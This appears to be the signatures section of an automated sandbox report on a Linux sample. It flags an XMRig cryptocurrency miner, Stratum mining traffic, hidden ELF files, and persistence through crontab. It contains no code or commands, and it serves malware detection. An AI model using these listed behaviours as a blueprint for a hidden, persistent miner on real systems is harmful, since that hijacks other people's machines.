Signatures

Malicious sample detected (through community Yara rule)
Yara detected Xmrig cryptocurrency miner
Detected Stratum mining protocol
Drops invisible ELF files
Executes the "crontab" command typically for achieving persistence
Found strings related to Crypto-Mining
Sample reads /proc/mounts (often used for finding a writable filesystem)
Sample tries to persist itself using cron
